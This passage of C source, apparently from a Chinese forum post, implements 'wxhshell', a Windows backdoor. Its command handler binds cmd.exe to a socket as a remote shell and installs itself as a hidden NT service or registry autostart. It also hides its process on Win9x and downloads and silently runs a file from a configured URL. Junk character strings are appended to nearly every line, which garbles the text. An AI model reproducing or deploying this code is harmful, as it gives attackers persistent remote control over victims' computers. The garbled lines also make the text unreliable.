    switch(cmd[0]) { +06j+I  
  lNAHn<ht  
  // 帮助 X:/t>0e  
  case '?': { P2F>iK#U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G$<0_0GF  
    break; Y.#+Yh[  
  } *h6i9V%'  
  // 安装 1A`";E&  
  case 'i': { (0f^Hh wF  
    if(Install()) iq -o$6Pg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G> >_G<x  
    else !CKUkoX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h65j,v6B  
    break; rg.if"o  
    } H)tDfk sq\  
  // 卸载 F{tSfKy2  
  case 'r': { L~~Yh{<  
    if(Uninstall()) J K^;-&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pT tX[CE  
    else XvY-C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c-d}E!C:  
    break; w.H+$=aK  
    } Jmx }r,j  
  // 显示 wxhshell 所在路径 <^{:K`  
  case 'p': { +6atbbe}   
    char svExeFile[MAX_PATH]; W^f#xrq>  
    strcpy(svExeFile,"\n\r"); 9v0|lS!-  
      strcat(svExeFile,ExeFile); EM}z-@A>  
        send(wsh,svExeFile,strlen(svExeFile),0); XT"c7]X  
    break; RkzBn  
    } T:$_1I $  
  // 重启 bk]|C!7$  
  case 'b': { ,vPF=wq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w3D_ c~  
    if(Boot(REBOOT)) ;\N*iN#K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $EF@x}h:A  
    else { d .A0(*k,  
    closesocket(wsh); M-Bw9`#Jw  
    ExitThread(0); TZg7BLfy  
    } _!7o   
    break; |sz9l/,lG  
    } ): 6d_g{2  
  // 关机 .>n|#XK  
  case 'd': { bE~lc}%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k7*q.20  
    if(Boot(SHUTDOWN)) $'q(Z@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QL#y)G53Q  
    else { cx}-tj"m-  
    closesocket(wsh); k9n93I|Cm  
    ExitThread(0); *b EsWeP  
    } pyKag;ZtP  
    break; ,e2va7}3  
    } Df (6DuW  
  // 获取shell t=AR>M!w~  
  case 's': { M %~kh"  
    CmdShell(wsh); ^>fs  
    closesocket(wsh); "L]_NS T  
    ExitThread(0); `Z-`-IL  
    break; j$6}r  
  } WmA578|l!  
  // 退出 <X?F :?Mk  
  case 'x': { }JD(e}8$!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Npqbxb  
    CloseIt(wsh); n9fk{"y'G  
    break; ,"o \_{<z  
    } H^G*5EQK  
  // 离开 pC6_ jIZ  
  case 'q': { /V&Y@j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); kN)ev?pQ[  
    closesocket(wsh); GSp1,E2J  
    WSACleanup(); e 3K  
    exit(1); 8T4J^6  
    break; PJ{.jWwD  
        } _Gu ;U@  
  } |Bp?"8%*l  
  } /!hW6u5  
$Tg$FfD6&  
  // 提示信息 ;QYK {3R?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q)*0G*  
} ArY'NE\Htt  
  } Z>l>@wNm  
4rm/+Zes  
  return; cu-WY8n  
} Ty=}A MMyE  
E _K7.c4M  
// shell模块句柄 gA6C(##0  
int CmdShell(SOCKET sock) 5 S 1m&s5k  
{  <CFu r  
STARTUPINFO si; W4<}w-AoEp  
ZeroMemory(&si,sizeof(si)); *q RQN+%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'g#GUSXfj  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {% P;O ?  
PROCESS_INFORMATION ProcessInfo; <  -Nj  
char cmdline[]="cmd"; l _:%?4MA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )7^jq|  
  return 0; &kG<LGXP#  
} c\Dv3bF  
utr_fFu  
// 自身启动模式 bm;4NA?Gg  
int StartFromService(void) ]9' \<uR  
{ rhrlEf@  
typedef struct ]Uu/1TTf  
{ |fUSq1//  
  DWORD ExitStatus; y{&,YV&_h  
  DWORD PebBaseAddress; nMhc3t  
  DWORD AffinityMask; 5M*p1^ >  
  DWORD BasePriority; =F9-,"EAI  
  ULONG UniqueProcessId; x-1[2K1"[  
  ULONG InheritedFromUniqueProcessId; <x/&Ml+  
}   PROCESS_BASIC_INFORMATION; ,f$ RE6  
@:63OLlrG  
PROCNTQSIP NtQueryInformationProcess; |s:!LU&OL\  
 Dg@6o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; LE;c+(CAU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qVfOf\x.e  
*$QUE0  
  HANDLE             hProcess; &b_duWs  
  PROCESS_BASIC_INFORMATION pbi; "k.<"pf  
GB#7w82  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d^7<l_u~ !  
  if(NULL == hInst ) return 0; !Ej<J&e  
Rh=h{O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {?8rvAj Y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?^dyQhb  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9:1ZL_yf  
W/ERqVZR]  
  if (!NtQueryInformationProcess) return 0; R$q:Ct  
m*1=-" P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R&?p^!`%  
  if(!hProcess) return 0; i[B%:q:&  
9I,Trk@&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V{][{5SR  
1peN@Yk2W  
  CloseHandle(hProcess); '>Z Ou3>  
Q]8r72uSk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); OA_ %%A;o  
if(hProcess==NULL) return 0; 8W{R&Z7aL  
&:rf80`z.  
HMODULE hMod; EB \\ F  
char procName[255]; F J)la9  
unsigned long cbNeeded; avQwbAh[  
R8HFyP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8qT/1b  
;yr 'K  
  CloseHandle(hProcess); "zugnim  
?n}L+|  
if(strstr(procName,"services")) return 1; // 以服务启动 c5JxKU_  
> B==*,|  
  return 0; // 注册表启动 dwRJ0D]&  
} #}.db?[Rv  
dP82bk/e  
// 主模块 C[75 !F   
int StartWxhshell(LPSTR lpCmdLine) 1'ZBtX~A  
{ &a V`u?'e  
  SOCKET wsl; TV}H  
BOOL val=TRUE; bFcI\Q{4  
  int port=0; !(/dbHB  
  struct sockaddr_in door; \Q]7Hw<  
N*eZ4s'  
  if(wscfg.ws_autoins) Install(); DUaj]V{_^  
KyjN'F$  
port=atoi(lpCmdLine); 0ZO!_3m$r  
/0A}N$?>:  
if(port<=0) port=wscfg.ws_port; V[#jrwhA  
7a2 uNt,X  
  WSADATA data; ]'hz+V31%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zFlW\wc  
|1#*`2j\=9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s q_ f[!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OF}vY0oiw?  
  door.sin_family = AF_INET; z&w@67 >j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %k9GoX_  
  door.sin_port = htons(port); BV|LRB}G  
"lB[IB)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o]@?QAu  
closesocket(wsl); LqNsQu";  
return 1; _k&vW(O=:  
} :AL nm0d  
O9bIo]B  
  if(listen(wsl,2) == INVALID_SOCKET) { kIyif7  
closesocket(wsl); mk}8Cu4  
return 1; 1$4dzI()  
} f mf(5  
  Wxhshell(wsl); n*uT  
  WSACleanup(); 3>ytpXUEGx  
Dc U$sf*  
return 0; fnB[b[  
:M3Fq@w=  
} *&XOzaVU  
g/eE^o ~;  
// 以NT服务方式启动  Hi#hf"V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R,8;GS42  
{ +Y-Gp4"  
DWORD   status = 0; r3'0{Nn+  
  DWORD   specificError = 0xfffffff; 8 K'3iw>z  
G@s rQum(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `#R[x7bA1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W2'u]1bs  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &=~Jw5WK  
  serviceStatus.dwWin32ExitCode     = 0; f-^JI*hj  
  serviceStatus.dwServiceSpecificExitCode = 0; _vm~yKId  
  serviceStatus.dwCheckPoint       = 0; p[>! ;qI  
  serviceStatus.dwWaitHint       = 0; }Ge$?ZFH  
RGsgT^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a0~LZQ?  
  if (hServiceStatusHandle==0) return; .r 4 *?>  
y2cYRHN[X}  
status = GetLastError(); !#3v<_]#d  
  if (status!=NO_ERROR) Ejmpg_kux  
{ ^? }-x  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1N,</<"  
    serviceStatus.dwCheckPoint       = 0; qx|~H'UuBN  
    serviceStatus.dwWaitHint       = 0; \(C6|-:GY  
    serviceStatus.dwWin32ExitCode     = status; ~m3Q^ue  
    serviceStatus.dwServiceSpecificExitCode = specificError; yhc}*BMZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a[I :^S  
    return; mb,\wZ  
  } ;?4EVZ#o  
%py3fzg  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; T,r?% G{XE  
  serviceStatus.dwCheckPoint       = 0; shKTj5s?  
  serviceStatus.dwWaitHint       = 0; g%TOYZr!X  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {u~JR(C:  
} ]lqLC  
]Q$Sei5  
// 处理NT服务事件,比如:启动、停止 }p5_JXBV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Kl_(4kQE_  
{ 3$G &~A{  
switch(fdwControl) $t0o*i{  
{ f\xmv|8  
case SERVICE_CONTROL_STOP: wDR/Vr"f  
  serviceStatus.dwWin32ExitCode = 0; ||D PIn]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,+~8R"  
  serviceStatus.dwCheckPoint   = 0; q#=HBSyM  
  serviceStatus.dwWaitHint     = 0; 5/8=Do](  
  { MQ#k`b#()  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2)hfYLi  
  } Y O&@  
  return; ]n}aePl}oU  
case SERVICE_CONTROL_PAUSE: }k;wSp[3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7cB/G:{  
  break; :er(YWF:  
case SERVICE_CONTROL_CONTINUE: F%P"T%|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $7" Y/9Y  
  break; gu|=uW K  
case SERVICE_CONTROL_INTERROGATE: Wn2'uZ5If  
  break; BMug7xl"  
}; .J <t]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0CO@@`~4  
} 9HB+4q[  
xpX<iT>5u  
// 标准应用程序主函数 ~y{_NgMo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _AzI\8m  
{ .do8\  
~[%_]/#&%z  
// 获取操作系统版本 t0,=U8]w  
OsIsNt=GetOsVer(); AXF 1{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /%g+|C  
A3)"+`&PUl  
  // 从命令行安装 x$;RfK2&p  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,p{naT%R  
Dj>eAO>  
  // 下载执行文件 djH&)&q!  
if(wscfg.ws_downexe) { }y Vx"e)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hC[ =e`j  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]VL} eHZ  
} Z_[ P7P  
4%2APvLW  
if(!OsIsNt) { 63'm @oZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 9#TD1B/  
HideProc(); @R%* ;)*F  
StartWxhshell(lpCmdLine); tn#cVB3  
} fLnwA|n=  
else O}>@G  
  if(StartFromService()) l^Ob60)2  
  // 以服务方式启动 793 15A  
  StartServiceCtrlDispatcher(DispatchTable); >TMd1? ,  
else )$RV)  
  // 普通方式启动 d?&`Z Vl  
  StartWxhshell(lpCmdLine); .W^B(y(tA  
/78]u^SW  
return 0; ((C|&$@M  
}
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只看该作者 1 发表于: 2006-10-10
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